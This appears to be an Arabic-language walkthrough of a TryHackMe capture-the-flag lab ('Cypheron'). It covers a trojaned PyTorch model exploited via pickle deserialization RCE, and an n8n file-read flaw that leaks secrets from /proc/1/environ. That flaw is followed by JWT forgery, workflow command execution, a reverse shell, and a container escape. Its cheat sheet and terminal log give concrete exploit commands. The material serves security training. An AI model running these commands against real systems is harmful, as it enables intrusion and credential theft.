Lab: Cypheron | STY IT Labs
STY IT Labs · TryHackMe · Insane · 2026: An AI Odyssey — Planet 4

Lab: Cypheron
AI Supply Chain + Red Team

آخر وأصعب كوكب في حدث 2026: An AI Odyssey — تحديين Insane منفصلين: موديل AI مزروع فيه C2 Beacon، ومنصة أتمتة n8n فيها ثغرة LFI بتوصلك لـ Root Access وهروب كامل من الـ Container.

Insane Difficulty CVE-2026-21858 Pickle RCE JWT Forgery Container Escape تحديين · 240 XP
CVE-2026-21858 ORACLE 9 CYPHERON
Insane
3 – 5 ساعات
تحديين · 5 Flags
240 XP
TryHackMe
Linux (Docker)

عن اللاب

2026: An AI Odyssey — Planet 4: Cypheron

حدث CTF عام على TryHackMe في عالم خيال علمي — كيان AI اسمه Oracle 9 سافر بالزمن للوراء عشان يخرّب مستقبل البشرية، ومهمتك كجزء من طاقم EPOCH-1 إنك تحصّن أسطول TryHaulMe بإيجاد واستغلال الثغرات قبل ما Oracle 9 يوصلها. الحدث مقسّم لـ 4 كواكب بصعوبة متصاعدة: Vectara (Easy) ← Token City (Medium) ← Injectus IX (Hard) ← Cypheron (Insane) — الكوكب الأخير والأصعب.

Cypheron فيه تحديين Insane منفصلين تمامًا في الفكرة والاستغلال، وكل واحد بيوديك في اتجاه مختلف من أمن الذكاء الاصطناعي:

Trojaned Model: Neural C2 Beacon

موديل PyTorch (.pt) اتوزّع على الأسطول وبدأ يعمل اتصالات خارجية غريبة. المهمة: فكّ الملف، اكتشف المخبي جواه، واستغل الـ pipeline اللي وزّعه.

AI Supply Chain · 120 pts

Nightmare

باب واحد مفتوح بس: نموذج رفع ملفات على منصة أتمتة n8n. من هناك لحد RCE، تصعيد صلاحيات، وهروب كامل من الـ Container. أصعب تحدي في الحدث كله.

AI Sec + Red Team · 120 pts
Task 2 اتشال من الحدث — الترقيم في الروم بيقفز من Task 1 مباشرة لـ Task 3، ده طبيعي ومش خطأ منك.

Cypheron Badge

أكمل الكوكب الأخير من AI Odyssey واحصل على الـ Badge — أضفه لملفك على LinkedIn

مسار الهجوم الكامل

1

تفكيك ملف الموديل (Static Analysis)

ملف الـ .pt مش binary blob — هو أرشيف ZIP فيه pickle file وملفات tensor storage خام، يعني تقدر تفحصه من غير ما تشغّله خالص.

unzip -l signal_classifier.pt.pt = ZIP archive
2

Flag 1 — نص مخبي جوه Tensor

فحص ملفات الـ storage الخام بـ od -c بيكشف إن tensor اسمه _calibration_constants (المفروض يكون أرقام float32) فيه نص ASCII مخبي — البصمة الكلاسيكية لموديل مزروع (Trojaned Model).

od -c data/0THM{Flag 1}
3

Recon — اكتشاف API التوزيع

فحص الـ ports بيطلّع سيرفر gunicorn على port 8000 بيعرض API فيه /classify و/vendor/push — والأخيرة فيها ملاحظة إنها بتحمّل الموديل بـ torch.load “للتوافق الخلفي”.

nmap -sV -sC -p- IPport 8000 gunicorn
4

Flag 3 — Pickle RCE عبر /vendor/push

لما torch.load بيتنادى من غير weights_only=True بيبقى بينفّذ أي كود pickle مخبي جواه. صنعنا payload بكلاس فيه __reduce__ بينادي subprocess يقرا الـ flags، وضغطناه كـ ZIP وبعتناه.

pickle __reduce__ RCEcurl -F artifact=@evil.pt /vendor/push
5

Flag 2 — لقطة الـ C2 Beacon

بعد الـ RCE، البحث في الفايل سيستم عن أي حاجة فيها نص الـ flag لقى ملف /etc/c2-hint.txt — دليل واضح إن الموديل كان فعليًا implant نشط ببعث beacon.

grep -r THM{ / –include=*.txt -l/etc/c2-hint.txt
6

Nightmare — Recon على n8n

سكان تاني على هدف Nightmare: SSH على 22، ومنصة أتمتة n8n 1.120.4 على port 5678. فورم عام على /form/file-processor اسمه “Document Upload Service”.

nmap -sV -p- IPn8n :5678
7

CVE-2026-21858 — Arbitrary File Read

لو بعتّ Content-Type: application/json بدل multipart/form-data، الـ body parser بتاع n8n بيقرا الـ JSON الخام مباشرة، وبتتحكم كامل في filepath — قراءة أي ملف على السيرفر. كشفنا بيه: encryption key، JWT secret من /proc/1/environ، وقاعدة بيانات SQLite فيها email وbcrypt hash لحساب الأدمن.

JSON body bypass/proc/1/environdatabase.sqlite
8

تزوير JWT Admin Cookie

قرينا كود الـ source بتاع n8n (auth.service.js) بنفس ثغرة الـ LFI ولقينا صيغة الـ hash بالظبط: sha256(email:bcrypt_hash) مقطوعة لـ 10 حروف. بالمفتاح السري والبيانات دي، زوّرنا الـ JWT كامل بـ Python من غير ما نكسر الباسورد خالص — وصول Admin كامل لـ 103 workflow.

forge JWT (Python hmac)/rest/workflows
9

الـ Workflow المخفي → RCE → Flag المستخدم

من بين الـ 103 workflow لقينا واحد اسمه “Internal Automation — DO NOT SHARE” — فيه node بينفّذ أوامر مباشرة على webhook مخفي. عدّلنا الأمر بطلب PATCH وطلّعنا الـ flag، بعدين استبدلناه بـ reverse shell.

webhook/secret-webhookExecute Command node
10

PrivEsc → هروب من الـ Container → Root Flag

جوه الـ Container، ملف /setup.sh كان فيه باسورد الـ root بالنص الصريح. بعد su root، اكتشفنا إن الفايل سيستم بتاع الهوست نفسه متماونت على /host-root — قراءة الـ flag النهائي كانت مباشرة من هناك.

su root (plaintext pw)/host-root/flag.txt

مراحل اللاب

Model Forensics
Pickle RCE
CVE-2026-21858
JWT Forgery
Workflow RCE
Flags
PrivEsc
Container Escape

Commands Cheat Sheet

الأمرالوصفالمرحلة
unzip -l signal_classifier.ptفحص محتوى ملف الموديل كأرشيف ZIPForensics
od -c data/0قراءة نص مخبي جوه الـ tensor storage الخامFlag 1
nmap -sV -sC -p- <IP>اكتشاف الـ ports والخدماتRecon
curl -X POST /vendor/push -F artifact=@evil.ptاستغلال torch.load(weights_only=False) لتنفيذ كودRCE
grep -r THM{ / –include=*.txt -lالبحث عن أي ملف نص فيه صيغة الـ flagFlag 2
curl -X POST /form/file-processor -H “Content-Type: application/json” -d ‘{“files”:{…}}’استغلال CVE-2026-21858 لقراءة ملفات عشوائيةLFI
sqlite3 n8n.db “SELECT id,email,password FROM user;”استخراج بيانات الأدمن من قاعدة بيانات n8nLoot
python3 forge_jwt.pyتزوير JWT admin cookie بـ hashlib + hmacAuth Bypass
curl -b “n8n-auth=$TOKEN” /rest/workflowsالوصول الكامل كـ Admin لقائمة الـ workflowsAdmin
curl -X POST /webhook/secret-webhookتشغيل الـ workflow المخفي (Execute Command)RCE
su rootالدخول بصلاحية root داخل الـ Container (باسورد نص صريح)PrivEsc
cat /host-root/flag.txtقراءة الـ Flag النهائي من الفايل سيستم بتاع الهوستRoot Flag

التحديات والـ Flags

01

Task 1 — Trojaned Model: Neural C2 Beacon

Static analysis · Pickle RCE via /vendor/push · 3 Flags (tensor + C2 hint + vendor exfil)

120 XP
03

Task 3 — Nightmare

CVE-2026-21858 · JWT Forgery · Workflow RCE · PrivEsc · Container Escape

120 XP
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Cypheron Full Attack

root@kali — Cypheron
# ── Trojaned Model ──────────────────────────
└─# unzip -l signal_classifier.pt
└─# od -c signal_classifier/data/0
0000000 T H M { … } ← Flag 1

# ── Pickle RCE ───────────────────────────────
└─# python3 build_evil_pt.py # __reduce__ payload
└─# curl -s -X POST http://TARGET:8000/vendor/push -F “artifact=@evil.pt”
{“vendor”: “THM{…}”} ← Flag 3
└─# grep -r THM{ / –include=*.txt -l
/etc/c2-hint.txt ← Flag 2

# ── Nightmare: CVE-2026-21858 ─────────────────
└─# curl -s -X POST http://TARGET:5678/form/file-processor \
-H “Content-Type: application/json” \
-d ‘{“files”:{“field-0”:{“filepath”:”/proc/1/environ”}}}’
N8N_USER_MANAGEMENT_JWT_SECRET=… N8N_ENCRYPTION_KEY=…

# ── JWT Forgery ────────────────────────────────
└─# python3 forge_jwt.py # sha256(email:bcrypt_hash) → HMAC
└─# curl -s -b “n8n-auth=$TOKEN” http://TARGET:5678/rest/workflows
[+] 103 workflows — “Internal Automation — DO NOT SHARE” found

# ── Workflow RCE → Root ─────────────────────────
└─# curl -s -X POST http://TARGET:5678/webhook/secret-webhook
{“exitCode”:0,”stdout”:”uid=1000 gid=1000(node)”}
$ su root # password from /setup.sh
root@nightmare:~# cat /host-root/flag.txt
THM{…} ← Root Flag

└─#

المهارات المكتسبة

AI Supply Chain Security
PyTorch Model Forensics
Pickle Deserialization RCE
LFI via Content-Type Confusion
JWT Forgery
Workflow Automation Abuse
Linux PrivEsc
Container Escape

الأدوات المستخدمة

nmapPort Scan + Service Detection
unzip / odتفكيك وتحليل ملف الموديل (.pt)
Python (pickle/hashlib/hmac)بناء الـ pickle payload وتزوير الـ JWT
curlكل الـ requests للـ API والـ LFI والـ Webhooks
sqlite3استخراج بيانات المستخدمين من قاعدة بيانات n8n
netcatاستقبال الـ Reverse Shell
مفتاح اللاب ده: مفيش داعي تكسر أي باسورد — كل خطوة اعتمدت على تسريب معلومات (LFI) بدل brute-force. ركّز في قراءة الـ source code المسرّب قبل ما تحاول تبني الاستغلال.